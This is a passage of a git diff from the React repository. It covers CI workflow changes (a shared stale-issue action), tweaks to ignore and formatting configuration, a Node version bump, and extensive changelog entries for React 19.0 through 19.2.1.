+        with:
+          path: |
+            **/node_modules
+          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: ./scripts/ci/test_print_warnings.sh
diff --git a/.github/workflows/shared_stale.yml b/.github/workflows/shared_stale.yml
new file mode 100644
index 000000000000..c24895edc5da
--- /dev/null
+++ b/.github/workflows/shared_stale.yml
@@ -0,0 +1,55 @@
+# Configuration for stale action workflow - https://github.com/actions/stale
+name: (Shared) Manage stale issues and PRs
+on:
+  schedule:
+    # Run hourly
+    - cron: '0 * * * *'
+  workflow_dispatch:
+
+permissions:
+  # https://github.com/actions/stale/tree/v9/?tab=readme-ov-file#recommended-permissions
+  issues: write
+  pull-requests: write
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  stale:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/stale@v9
+        with:
+          # --- Issues & PRs ---
+          # Number of days of inactivity before an issue or PR becomes stale
+          days-before-stale: 90
+          # Number of days of inactivity before a stale issue or PR is closed
+          days-before-close: 7
+          # API calls per run
+          operations-per-run: 100
+
+          # --- Issues ---
+          stale-issue-label: "Resolution: Stale"
+          # Comment to post when marking an issue as stale
+          stale-issue-message: >
+            This issue has been automatically marked as stale.
+            **If this issue is still affecting you, please leave any comment** (for example, "bump"), and we'll keep it open.
+            We are sorry that we haven't been able to prioritize it yet. If you have any new additional information, please include it with your comment!
+          # Comment to post when closing a stale issue
+          close-issue-message: >
+            Closing this issue after a prolonged period of inactivity. If this issue is still present in the latest release, please create a new issue with up-to-date information. Thank you!
+          # Issues with these labels will never be considered stale
+          exempt-issue-labels: "Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement"
+
+          # --- PRs ---
+          stale-pr-label: "Resolution: Stale"
+          # Comment to post when marking a pull request as stale
+          stale-pr-message: >
+            This pull request has been automatically marked as stale.
+            **If this pull request is still relevant, please leave any comment** (for example, "bump"), and we'll keep it open.
+            We are sorry that we haven't been able to prioritize reviewing it yet. Your contribution is very much appreciated.
+          # Comment to post when closing a stale pull request
+          close-pr-message: >
+            Closing this pull request after a prolonged period of inactivity. If this issue is still present in the latest release, please ask for this pull request to be reopened. Thank you!
+          # PRs with these labels will never be considered stale
+          exempt-pr-labels: "Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement"
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
deleted file mode 100644
index 86928739a4ea..000000000000
--- a/.github/workflows/stale.yml
+++ /dev/null
@@ -1,46 +0,0 @@
-# Configuration for stale action workflow - https://github.com/actions/stale
-name: 'Manage stale issues and PRs'
-on:
-  schedule:
-    # Run hourly
-    - cron: '0 * * * *'
-
-jobs:
-  stale:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/stale@v9
-        with:
-          # --- Issues & PRs ---
-          # Number of days of inactivity before an issue or PR becomes stale
-          days-before-stale: 90
-          # Number of days of inactivity before a stale issue or PR is closed
-          days-before-close: 7
-          # API calls per run
-          operations-per-run: 100
-
-          # --- Issues ---
-          stale-issue-label: "Resolution: Stale"
-          # Comment to post when marking an issue as stale
-          stale-issue-message: >
-            This issue has been automatically marked as stale.
-            **If this issue is still affecting you, please leave any comment** (for example, "bump"), and we'll keep it open.
-            We are sorry that we haven't been able to prioritize it yet. If you have any new additional information, please include it with your comment!
-          # Comment to post when closing a stale issue
-          close-issue-message: >
-            Closing this issue after a prolonged period of inactivity. If this issue is still present in the latest release, please create a new issue with up-to-date information. Thank you!
-          # Issues with these labels will never be considered stale
-          exempt-issue-labels: "Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement"
-
-          # --- PRs ---
-          stale-pr-label: "Resolution: Stale"
-          # Comment to post when marking a pull request as stale
-          stale-pr-message: >
-            This pull request has been automatically marked as stale.
-            **If this pull request is still relevant, please leave any comment** (for example, "bump"), and we'll keep it open.
-            We are sorry that we haven't been able to prioritize reviewing it yet. Your contribution is very much appreciated.
-          # Comment to post when closing a stale pull request
-          close-pr-message: >
-            Closing this pull request after a prolonged period of inactivity. If this issue is still present in the latest release, please ask for this pull request to be reopened. Thank you!
-          # PRs with these labels will never be considered stale
-          exempt-pr-labels: "Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement"
diff --git a/.gitignore b/.gitignore
index 2a20fc2427c9..438d125b47a0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -23,6 +23,9 @@ chrome-user-data
 .vscode
 *.swp
 *.swo
+/tmp
+/.worktrees
+.claude/*.local.*
 
 packages/react-devtools-core/dist
 packages/react-devtools-extensions/chrome/build
@@ -37,3 +40,4 @@ packages/react-devtools-fusebox/dist
 packages/react-devtools-inline/dist
 packages/react-devtools-shell/dist
 packages/react-devtools-timeline/dist
+
diff --git a/.nvmrc b/.nvmrc
index 91f7588a1a5d..5f53e875de68 100644
--- a/.nvmrc
+++ b/.nvmrc
@@ -1 +1 @@
-v18.20.0
+v20.19.0
diff --git a/.prettierignore b/.prettierignore
index 503904f39a93..7e09af76a3af 100644
--- a/.prettierignore
+++ b/.prettierignore
@@ -1,6 +1,6 @@
+# react runtime
 build
 
-compiler
 packages/react-devtools-core/dist
 packages/react-devtools-extensions/chrome/build
 packages/react-devtools-extensions/firefox/build
@@ -14,3 +14,28 @@ packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/
 packages/react-devtools-shell/dist
 packages/react-devtools-timeline/dist
 packages/react-devtools-timeline/static
+
+# react compiler
+compiler/**/dist
+compiler/**/__tests__/fixtures/**/*.expect.md
+compiler/**/.next
+
+# contains invalid graphql`...` which results in a promise rejection error from `yarn prettier-all`.
+compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js
+
+compiler/crates
+compiler/target
+compiler/apps/playground/public
+
+compiler/**/LICENSE
+compiler/*.md*
+compiler/*.json
+compiler/*.css
+compiler/*.webmanifest
+compiler/*.map
+compiler/*.sh
+compiler/*.txt
+compiler/*.ico
+compiler/*.svg
+compiler/*.lock
+compiler/*.toml
diff --git a/.prettierrc.js b/.prettierrc.js
index 43f9b6671c32..aa54cbae1f9f 100644
--- a/.prettierrc.js
+++ b/.prettierrc.js
@@ -1,9 +1,6 @@
 'use strict';
 
-const {
-  esNextPaths,
-  typescriptPaths,
-} = require('./scripts/shared/pathsByLanguageVersion');
+const {esNextPaths} = require('./scripts/shared/pathsByLanguageVersion');
 
 module.exports = {
   bracketSpacing: false,
@@ -27,7 +24,7 @@ module.exports = {
       },
     },
     {
-      files: typescriptPaths,
+      files: ['*.ts', '*.tsx'],
       options: {
         trailingComma: 'all',
         parser: 'typescript',
diff --git a/CHANGELOG-canary.md b/CHANGELOG-canary.md
deleted file mode 100644
index 048f6a542e64..000000000000
--- a/CHANGELOG-canary.md
+++ /dev/null
@@ -1,18 +0,0 @@
-## March 22, 2024 (18.3.0-canary-670811593-20240322)
-
-## React
-- Added `useActionState` to replace `useFormState` and added `pending` value ([#28491](https://github.com/facebook/react/pull/28491)).
-
-## October 5, 2023 (18.3.0-canary-546178f91-20231005)
-
-### React
-
-- Added support for async functions to be passed to `startTransition`. 
-- `useTransition` now triggers the nearest error boundary instead of a global error.
-- Added `useOptimistic`, a new Hook for handling optimistic UI updates. It optimistically updates the UI before receiving confirmation from a server or external source.
-
-### React DOM
-
-- Added support for passing async functions to the `action` prop on `<form>`. When the function passed to `action` is marked with [`'use server'`](https://react.dev/reference/react/use-server), the form is [progressively enhanced](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement).
-- Added `useFormStatus`, a new Hook for checking the submission state of a form.
-- Added `useFormState`, a new Hook for updating state upon form submission. When the function passed to `useFormState` is marked with [`'use server'`](https://react.dev/reference/react/use-server), the update is [progressively enhanced](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement).
diff --git a/CHANGELOG.md b/CHANGELOG.md
index a76c66692c00..5953fafc2786 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,418 @@
+## 19.2.1 (Dec 3, 2025)
+
+### React Server Components
+
+- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
+
+## 19.2.0 (October 1st, 2025)
+
+Below is a list of all new features, APIs, and bug fixes.
+
+Read the [React 19.2 release post](https://react.dev/blog/2025/10/01/react-19-2) for more information.
+
+### New React Features
+
+- [`<Activity>`](https://react.dev/reference/react/Activity): A new API to hide and restore the UI and internal state of its children.
+- [`useEffectEvent`](https://react.dev/reference/react/useEffectEvent) is a React Hook that lets you extract non-reactive logic into an [Effect Event](https://react.dev/learn/separating-events-from-effects#declaring-an-effect-event).
+- [`cacheSignal`](https://react.dev/reference/react/cacheSignal) (for RSCs) lets your know when the `cache()` lifetime is over.
+- [React Performance tracks](https://react.dev/reference/dev-tools/react-performance-tracks) appear on the Performance panel’s timeline in your browser developer tools
+
+### New React DOM Features
+
+- Added resume APIs for partial pre-rendering with Web Streams:
+  - [`resume`](https://react.dev/reference/react-dom/server/resume): to resume a prerender to a stream.
+  - [`resumeAndPrerender`](https://react.dev/reference/react-dom/static/resumeAndPrerender): to resume a prerender to HTML.
+- Added resume APIs for partial pre-rendering with Node Streams:
+  - [`resumeToPipeableStream`](https://react.dev/reference/react-dom/server/resumeToPipeableStream): to resume a prerender to a stream.
+  - [`resumeAndPrerenderToNodeStream`](https://react.dev/reference/react-dom/static/resumeAndPrerenderToNodeStream): to resume a prerender to HTML.
+- Updated [`prerender`](https://react.dev/reference/react-dom/static/prerender) APIs to return a `postponed` state that can be passed to the `resume` APIs.
+
+### Notable changes
+
+- React DOM now batches suspense boundary reveals, matching the behavior of client side rendering. This change is especially noticeable when animating the reveal of Suspense boundaries e.g. with the upcoming `<ViewTransition>` Component. React will batch as much reveals as possible before the first paint while trying to hit popular first-contentful paint metrics.
+- Add Node Web Streams (`prerender`, `renderToReadableStream`) to server-side-rendering APIs for Node.js
+- Use underscore instead of `:` IDs generated by useId
+
+### All Changes
+
+#### React
+
+- `<Activity />` was developed over many years, starting before `ClassComponent.setState` (@acdlite @sebmarkbage and many others)
+- Stringify context as "SomeContext" instead of "SomeContext.Provider" (@kassens [#33507](https://github.com/facebook/react/pull/33507))
+- Include stack of cause of React instrumentation errors with `%o` placeholder (@eps1lon [#34198](https://github.com/facebook/react/pull/34198))
+- Fix infinite `useDeferredValue` loop in popstate event (@acdlite [#32821](https://github.com/facebook/react/pull/32821))
+- Fix a bug when an initial value was passed to `useDeferredValue` (@acdlite [#34376](https://github.com/facebook/react/pull/34376))
+- Fix a crash when submitting forms with Client Actions (@sebmarkbage [#33055](https://github.com/facebook/react/pull/33055))
+- Hide/unhide the content of dehydrated suspense boundaries if they resuspend (@sebmarkbage [#32900](https://github.com/facebook/react/pull/32900))
+- Avoid stack overflow on wide trees during Hot Reload (@sophiebits [#34145](https://github.com/facebook/react/pull/34145))
+- Improve Owner and Component stacks in various places (@sebmarkbage, @eps1lon: [#33629](https://github.com/facebook/react/pull/33629), [#33724](https://github.com/facebook/react/pull/33724), [#32735](https://github.com/facebook/react/pull/32735), [#33723](https://github.com/facebook/react/pull/33723))
+- Add `cacheSignal` (@sebmarkbage [#33557](https://github.com/facebook/react/pull/33557))
+
+#### React DOM
+
+- Block on Suspensey Fonts during reveal of server-side-rendered content (@sebmarkbage [#33342](https://github.com/facebook/react/pull/33342))
+- Use underscore instead of `:` for IDs generated by `useId` (@sebmarkbage, @eps1lon: [#32001](https://github.com/facebook/react/pull/32001), [https://github.com/facebook/react/pull/33342](https://github.com/facebook/react/pull/33342)[#33099](https://github.com/facebook/react/pull/33099), [#33422](https://github.com/facebook/react/pull/33422))
+- Stop warning when ARIA 1.3 attributes are used (@Abdul-Omira [#34264](https://github.com/facebook/react/pull/34264))
+- Allow `nonce` to be used on hoistable styles (@Andarist [#32461](https://github.com/facebook/react/pull/32461))
+- Warn for using a React owned node as a Container if it also has text content (@sebmarkbage [#32774](https://github.com/facebook/react/pull/32774))
+- s/HTML/text for for error messages if text hydration mismatches (@rickhanlonii [#32763](https://github.com/facebook/react/pull/32763))
+- Fix a bug with `React.use` inside `React.lazy`\-ed Component (@hi-ogawa [#33941](https://github.com/facebook/react/pull/33941))
+- Enable the `progressiveChunkSize` option for server-side-rendering APIs (@sebmarkbage [#33027](https://github.com/facebook/react/pull/33027))
+- Fix a bug with deeply nested Suspense inside Suspense fallback when server-side-rendering (@gnoff [#33467](https://github.com/facebook/react/pull/33467))
+- Avoid hanging when suspending after aborting while rendering (@gnoff [#34192](https://github.com/facebook/react/pull/34192))
+- Add Node Web Streams to server-side-rendering APIs for Node.js (@sebmarkbage [#33475](https://github.com/facebook/react/pull/33475))
+
+#### React Server Components
+
+- Preload `<img>` and `<link>` using hints before they're rendered (@sebmarkbage [#34604](https://github.com/facebook/react/pull/34604))
+- Log error if production elements are rendered during development (@eps1lon [#34189](https://github.com/facebook/react/pull/34189))
+- Fix a bug when returning a Temporary reference (e.g. a Client Reference) from Server Functions (@sebmarkbage [#34084](https://github.com/facebook/react/pull/34084), @denk0403 [#33761](https://github.com/facebook/react/pull/33761))
+- Pass line/column to `filterStackFrame` (@eps1lon [#33707](https://github.com/facebook/react/pull/33707))
+- Support Async Modules in Turbopack Server References (@lubieowoce [#34531](https://github.com/facebook/react/pull/34531))
+- Add support for .mjs file extension in Webpack (@jennyscript [#33028](https://github.com/facebook/react/pull/33028))
+- Fix a wrong missing key warning (@unstubbable [#34350](https://github.com/facebook/react/pull/34350))
+- Make console log resolve in predictable order (@sebmarkbage [#33665](https://github.com/facebook/react/pull/33665))
+
+#### React Reconciler
+
+- [createContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L255-L261) and [createHydrationContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L305-L312) had their parameter order adjusted after `on*` handlers to account for upcoming experimental APIs
+
+## 19.1.2 (Dec 3, 2025)
+
+### React Server Components
+
+- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
+
+## 19.1.1 (July 28, 2025)
+
+### React
+* Fixed Owner Stacks to work with ES2015 function.name semantics ([#33680](https://github.com/facebook/react/pull/33680) by @hoxyq)
+
+## 19.1.0 (March 28, 2025)
+
+### Owner Stack
+
+An Owner Stack is a string representing the components that are directly responsible for rendering a particular component. You can log Owner Stacks when debugging or use Owner Stacks to enhance error overlays or other development tools. Owner Stacks are only available in development builds. Component Stacks in production are unchanged.
+
+* An Owner Stack is a development-only stack trace that helps identify which components are responsible for rendering a particular component. An Owner Stack is distinct from a Component Stacks, which shows the hierarchy of components leading to an error.
+* The [captureOwnerStack API](https://react.dev/reference/react/captureOwnerStack) is only available in development mode and returns a Owner Stack, if available. The API can be used to enhance error overlays or log component relationships when debugging. [#29923](https://github.com/facebook/react/pull/29923), [#32353](https://github.com/facebook/react/pull/32353), [#30306](https://github.com/facebook/react/pull/30306),
+[#32538](https://github.com/facebook/react/pull/32538), [#32529](https://github.com/facebook/react/pull/32529), [#32538](https://github.com/facebook/react/pull/32538)
+
+### React
+* Enhanced support for Suspense boundaries to be used anywhere, including the client, server, and during hydration. [#32069](https://github.com/facebook/react/pull/32069), [#32163](https://github.com/facebook/react/pull/32163), [#32224](https://github.com/facebook/react/pull/32224), [#32252](https://github.com/facebook/react/pull/32252)
+* Reduced unnecessary client rendering through improved hydration scheduling [#31751](https://github.com/facebook/react/pull/31751)
+* Increased priority of client rendered Suspense boundaries [#31776](https://github.com/facebook/react/pull/31776)
+* Fixed frozen fallback states by rendering unfinished Suspense boundaries on the client. [#31620](https://github.com/facebook/react/pull/31620)
+* Reduced garbage collection pressure by improving Suspense boundary retries. [#31667](https://github.com/facebook/react/pull/31667)
+* Fixed erroneous “Waiting for Paint” log when the passive effect phase was not delayed [#31526](https://github.com/facebook/react/pull/31526)
+* Fixed a regression causing key warnings for flattened positional children in development mode. [#32117](https://github.com/facebook/react/pull/32117)
+* Updated `useId` to use valid CSS selectors, changing format from `:r123:` to `«r123»`. [#32001](https://github.com/facebook/react/pull/32001)
+* Added a dev-only warning for null/undefined created in useEffect, useInsertionEffect, and useLayoutEffect. [#32355](https://github.com/facebook/react/pull/32355)
+* Fixed a bug where dev-only methods were exported in production builds. React.act is no longer available in production builds. [#32200](https://github.com/facebook/react/pull/32200)
+* Improved consistency across prod and dev to improve compatibility with Google Closure Compiler and bindings [#31808](https://github.com/facebook/react/pull/31808)
+* Improve passive effect scheduling for consistent task yielding. [#31785](https://github.com/facebook/react/pull/31785)
+* Fixed asserts in React Native when passChildrenWhenCloningPersistedNodes is enabled for OffscreenComponent rendering. [#32528](https://github.com/facebook/react/pull/32528)
+* Fixed component name resolution for Portal [#32640](https://github.com/facebook/react/pull/32640)
+* Added support for beforetoggle and toggle events on the dialog element. [#32479](https://github.com/facebook/react/pull/32479)
+
+### React DOM
+* Fixed double warning when the `href` attribute is an empty string [#31783](https://github.com/facebook/react/pull/31783)
+ * Fixed an edge case where `getHoistableRoot()` didn’t work properly when the container was a Document [#32321](https://github.com/facebook/react/pull/32321)
+* Removed support for using HTML comments (e.g. `<!-- -->`) as a DOM container. [#32250](https://github.com/facebook/react/pull/32250)
+* Added support for `<script>` and `<template>` tags to be nested within `<select>` tags. [#31837](https://github.com/facebook/react/pull/31837)
+* Fixed responsive images to be preloaded as HTML instead of headers [#32445](https://github.com/facebook/react/pull/32445)
+
+### use-sync-external-store
+* Added `exports` field to `package.json` for `use-sync-external-store` to support various entrypoints. [#25231](https://github.com/facebook/react/pull/25231)
+
+### React Server Components
+* Added `unstable_prerender`, a new experimental API for prerendering React Server Components on the server [#31724](https://github.com/facebook/react/pull/31724)
+* Fixed an issue where streams would hang when receiving new chunks after a global error [#31840](https://github.com/facebook/react/pull/31840), [#31851](https://github.com/facebook/react/pull/31851)
+* Fixed an issue where pending chunks were counted twice. [#31833](https://github.com/facebook/react/pull/31833)
+* Added support for streaming in edge environments [#31852](https://github.com/facebook/react/pull/31852)
+* Added support for sending custom error names from a server so that they are available in the client for console replaying. [#32116](https://github.com/facebook/react/pull/32116)
+* Updated the server component wire format to remove IDs for hints and console.log because they have no return value [#31671](https://github.com/facebook/react/pull/31671)
+* Exposed `registerServerReference` in client builds to handle server references in different environments. [#32534](https://github.com/facebook/react/pull/32534)
+* Added react-server-dom-parcel package which integrates Server Components with the [Parcel bundler](https://parceljs.org/) [#31725](https://github.com/facebook/react/pull/31725), [#32132](https://github.com/facebook/react/pull/32132), [#31799](https://github.com/facebook/react/pull/31799), [#32294](https://github.com/facebook/react/pull/32294), [#31741](https://github.com/facebook/react/pull/31741)
+
+## 19.0.1 (Dec 3, 2025)
+
+### React Server Components
+
+- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
+
+## 19.0.0 (December 5, 2024)
+
+Below is a list of all new features, APIs, deprecations, and breaking changes. Read [React 19 release post](https://react.dev/blog/2024/04/25/react-19) and [React 19 upgrade guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for more information.
+
+> Note: To help make the upgrade to React 19 easier, we’ve published a react@18.3 release that is identical to 18.2 but adds warnings for deprecated APIs and other changes that are needed for React 19. We recommend upgrading to React 18.3.1 first to help identify any issues before upgrading to React 19.
+
+### New Features
+
+#### React
+
+* Actions: `startTransition` can now accept async functions. Functions passed to `startTransition` are called “Actions”. A given Transition can include one or more Actions which update state in the background and update the UI with one commit. In addition to updating state, Actions can now perform side effects including async requests, and the Action will wait for the work to finish before finishing the Transition. This feature allows Transitions to include side effects like `fetch()` in the pending state, and provides support for error handling, and optimistic updates.  
+* `useActionState`: is a new hook to order Actions inside of a Transition with access to the state of the action, and the pending state. It accepts a reducer that can call Actions, and the initial state used for first render. It also accepts an optional string that is used if the action is passed to a form `action` prop to support progressive enhancement in forms.  
+* `useOptimistic`: is a new hook to update state while a Transition is in progress. It returns the state, and a set function that can be called inside a transition to “optimistically” update the state to expected final value immediately while the Transition completes in the background. When the transition finishes, the state is updated to the new value.  
+* `use`: is a new API that allows reading resources in render. In React 19, `use` accepts a promise or Context. If provided a promise, `use` will suspend until a value is resolved. `use` can only be used in render but can be called conditionally.  
+* `ref` as a prop: Refs can now be used as props, removing the need for `forwardRef`.  
+* **Suspense sibling pre-warming**: When a component suspends, React will immediately commit the fallback of the nearest Suspense boundary, without waiting for the entire sibling tree to render. After the fallback commits, React will schedule another render for the suspended siblings to “pre-warm” lazy requests.
+
+#### React DOM Client
+
+* `<form> action` prop: Form Actions allow you to manage forms automatically and integrate with `useFormStatus`. When a `<form> action` succeeds, React will automatically reset the form for uncontrolled components. The form can be reset manually with the new `requestFormReset` API.  
+* `<button> and <input> formAction` prop: Actions can be passed to the `formAction` prop to configure form submission behavior. This allows using different Actions depending on the input.  
+* `useFormStatus`: is a new hook that provides the status of the parent `<form> action`, as if the form was a Context provider. The hook returns the values: `pending`, `data`, `method`, and `action`.  
+* Support for Document Metadata: We’ve added support for rendering document metadata tags in components natively. React will automatically hoist them into the `<head>` section of the document.  
+* Support for Stylesheets: React 19 will ensure stylesheets are inserted into the `<head>` on the client before revealing the content of a Suspense boundary that depends on that stylesheet.  
+* Support for async scripts: Async scripts can be rendered anywhere in the component tree and React will handle ordering and deduplication.  
+* Support for preloading resources: React 19 ships with `preinit`, `preload`, `prefetchDNS`, and `preconnect` APIs to optimize initial page loads by moving discovery of additional resources like fonts out of stylesheet loading. They can also be used to prefetch resources used by an anticipated navigation.
+
+#### React DOM Server
+
+* Added `prerender` and `prerenderToNodeStream` APIs for static site generation. They are designed to work with streaming environments like Node.js Streams and Web Streams. Unlike `renderToString`, they wait for data to load for HTML generation.
+
+#### React Server Components
+
+* RSC features such as directives, server components, and server functions are now stable. This means libraries that ship with Server Components can now target React 19 as a peer dependency with a react-server export condition for use in frameworks that support the Full-stack React Architecture. The underlying APIs used to implement a React Server Components bundler or framework do not follow semver and may break between minors in React 19.x. See [docs](https://19.react.dev/reference/rsc/server-components) for how to support React Server Components.
+
+### Deprecations
+
+* Deprecated: `element.ref` access: React 19 supports ref as a prop, so we’re deprecating `element.ref` in favor of `element.props.ref`. Accessing will result in a warning.  
+* `react-test-renderer`: In React 19, react-test-renderer logs a deprecation warning and has switched to concurrent rendering for web usage. We recommend migrating your tests to  [@testing-library/react](https://testing-library.com/docs/react-testing-library/intro/) or [@testing-library/react-native](https://testing-library.com/docs/react-native-testing-library/intro)
+
+### Breaking Changes
+
+React 19 brings in a number of breaking changes, including the removals of long-deprecated APIs. We recommend first upgrading to `18.3.1`, where we've added additional deprecation warnings. Check out the [upgrade guide](https://19.react.dev/blog/2024/04/25/react-19-upgrade-guide) for more details and guidance on codemodding.
+
+### React
+
+* New JSX Transform is now required: We introduced [a new JSX transform](https://legacy.reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) in 2020 to improve bundle size and use JSX without importing React. In React 19, we’re adding additional improvements like using ref as a prop and JSX speed improvements that require the new transform.  
+* Errors in render are not re-thrown: Errors that are not caught by an Error Boundary are now reported to window.reportError. Errors that are caught by an Error Boundary are reported to console.error. We’ve introduced `onUncaughtError` and `onCaughtError` methods to `createRoot` and `hydrateRoot` to customize this error handling.  
+* Removed: `propTypes`: Using `propTypes` will now be silently ignored. If required, we recommend migrating to TypeScript or another type-checking solution.  
+* Removed: `defaultProps` for functions: ES6 default parameters can be used in place. Class components continue to support `defaultProps` since there is no ES6 alternative.  
+* Removed: `contextTypes` and `getChildContext`: Legacy Context for class components has been removed in favor of the `contextType` API.  
+* Removed: string refs: Any usage of string refs need to be migrated to ref callbacks.   
+* Removed: Module pattern factories: A rarely used pattern that can be migrated to regular functions.  
+* Removed: `React.createFactory`: Now that JSX is broadly supported, all `createFactory` usage can be migrated to JSX components.  
+* Removed: `react-test-renderer/shallow`: This has been a re-export of [react-shallow-renderer](https://github.com/enzymejs/react-shallow-renderer) since React 18\. If needed, you can continue to use the third-party package directly. We recommend using [@testing-library/react](https://testing-library.com/docs/react-testing-library/intro/) or [@testing-library/react-native](https://testing-library.com/docs/react-native-testing-library/intro) instead.
+
+#### React DOM
+
+* Removed: `react-dom/test-utils`: We’ve moved `act` from `react-dom/test-utils` to react. All other utilities have been removed.   
+* Removed: `ReactDOM`.`render`, `ReactDOM`.`hydrate`: These have been removed in favor of the concurrent equivalents: `ReactDOM`.`createRoot` and `ReactDOM.hydrateRoot`.  
+* Removed: `unmountComponentAtNode`: Removed in favor of `root.unmount()`.  
+* Removed: `ReactDOM`.`findDOMNode`: You can replace `ReactDOM`.`findDOMNode` with DOM Refs.
+
+### Notable Changes
+
+#### React
+
+* `<Context>` as a provider: You can now render `<Context>` as a provider instead of `<Context.Provider>`.  
+* Cleanup functions for refs: When the component unmounts, React will call the cleanup function returned from the ref callback.  
+* `useDeferredValue` initial value argument: When provided, `useDeferredValue` will return the initial value for the initial render of a component, then schedule a re-render in the background with the `deferredValue` returned.  
+* Support for Custom Elements: React 19 now passes all tests on [Custom Elements Everywhere](https://custom-elements-everywhere.com/).  
+* StrictMode changes: `useMemo` and `useCallback` will now reuse the memoized results from the first render, during the second render. Additionally, StrictMode will now double-invoke ref callback functions on initial mount.  
+* UMD builds removed: To load React 19 with a script tag, we recommend using an ESM-based CDN such as [esm.sh](http://esm.sh).
+
+#### React DOM
+
+* Diffs for hydration errors: In the case of a mismatch, React 19 logs a single error with a diff of the mismatched content.  
+* Compatibility with third-party scripts and extensions: React will now force a client re-render to fix up any mismatched content caused by elements inserted by third-party JS. 
+
+### TypeScript Changes
+
+The most common changes can be codemodded with `npx types-react-codemod@latest preset-19 ./path-to-your-react-ts-files`.
+
+* Removed deprecated TypeScript types:   
+  * `ReactChild` (replacement: `React.ReactElement | number | string)`  
+  * `ReactFragment` (replacement: `Iterable<React.ReactNode>`)  
+  * `ReactNodeArray` (replacement: `ReadonlyArray<React.ReactNode>`)  
+  * `ReactText` (replacement: `number | string`)  
+  * `VoidFunctionComponent` (replacement: `FunctionComponent`)  
+  * `VFC` (replacement: `FC`)  
+  * Moved to `prop-types`: `Requireable`, `ValidationMap`, `Validator`, `WeakValidationMap`  
+  * Moved to `create-react-class`: `ClassicComponentClass`, `ClassicComponent`, `ClassicElement`, `ComponentSpec`, `Mixin`, `ReactChildren`, `ReactHTML`, `ReactSVG`, `SFCFactory`  
+* Disallow implicit return in refs: refs can now accept cleanup functions. When you return something else, we can’t tell if you intentionally returned something not meant to clean up or returned the wrong value. Implicit returns of anything but functions will now error.   
+* Require initial argument to `useRef`: The initial argument is now required to match `useState`, `createContext` etc  
+* Refs are mutable by default: Ref objects returned from `useRef()` are now always mutable instead of sometimes being immutable. This feature was too confusing for users and conflicted with legit cases where refs were managed by React and manually written to.  
+* Strict `ReactElement` typing: The props of React elements now default to `unknown` instead of `any` if the element is typed as `ReactElement`  
+* JSX namespace in TypeScript: The global `JSX` namespace is removed to improve interoperability with other libraries using JSX. Instead, the JSX namespace is available from the React package: `import { JSX } from 'react'`  
+* Better `useReducer` typings: Most `useReducer` usage should not require explicit type arguments.  
+  For example,  
+  ```diff
+  -useReducer<React.Reducer<State, Action>>(reducer)
+  +useReducer(reducer)
+  ```
+  or
+  ```diff
+  -useReducer<React.Reducer<State, Action>>(reducer)
+  +useReducer<State, Action>(reducer)
+  ```
+
+### All Changes
+
+#### React
+
+* Add support for async Actions ([\#26621](https://github.com/facebook/react/pull/26621), [\#26726](https://github.com/facebook/react/pull/26726), [\#28078](https://github.com/facebook/react/pull/28078), [\#28097](https://github.com/facebook/react/pull/28097), [\#29226](https://github.com/facebook/react/pull/29226), [\#29618](https://github.com/facebook/react/pull/29618), [\#29670](https://github.com/facebook/react/pull/29670), [\#26716](https://github.com/facebook/react/pull/26716) by [@acdlite](https://github.com/acdlite) and [@sebmarkbage](https://github.com/sebmarkbage))  
+* Add `useActionState()` hook to update state based on the result of a Form Action ([\#27270](https://github.com/facebook/react/pull/27270), [\#27278](https://github.com/facebook/react/pull/27278), [\#27309](https://github.com/facebook/react/pull/27309), [\#27302](https://github.com/facebook/react/pull/27302), [\#27307](https://github.com/facebook/react/pull/27307), [\#27366](https://github.com/facebook/react/pull/27366), [\#27370](https://github.com/facebook/react/pull/27370), [\#27321](https://github.com/facebook/react/pull/27321), [\#27374](https://github.com/facebook/react/pull/27374), [\#27372](https://github.com/facebook/react/pull/27372), [\#27397](https://github.com/facebook/react/pull/27397), [\#27399](https://github.com/facebook/react/pull/27399), [\#27460](https://github.com/facebook/react/pull/27460), [\#28557](https://github.com/facebook/react/pull/28557), [\#27570](https://github.com/facebook/react/pull/27570), [\#27571](https://github.com/facebook/react/pull/27571), [\#28631](https://github.com/facebook/react/pull/28631), [\#28788](https://github.com/facebook/react/pull/28788), [\#29694](https://github.com/facebook/react/pull/29694), [\#29695](https://github.com/facebook/react/pull/29695), [\#29694](https://github.com/facebook/react/pull/29694), [\#29665](https://github.com/facebook/react/pull/29665), [\#28232](https://github.com/facebook/react/pull/28232), [\#28319](https://github.com/facebook/react/pull/28319) by [@acdlite](https://github.com/acdlite), [@eps1lon](https://github.com/eps1lon), and [@rickhanlonii](https://github.com/rickhanlonii))  
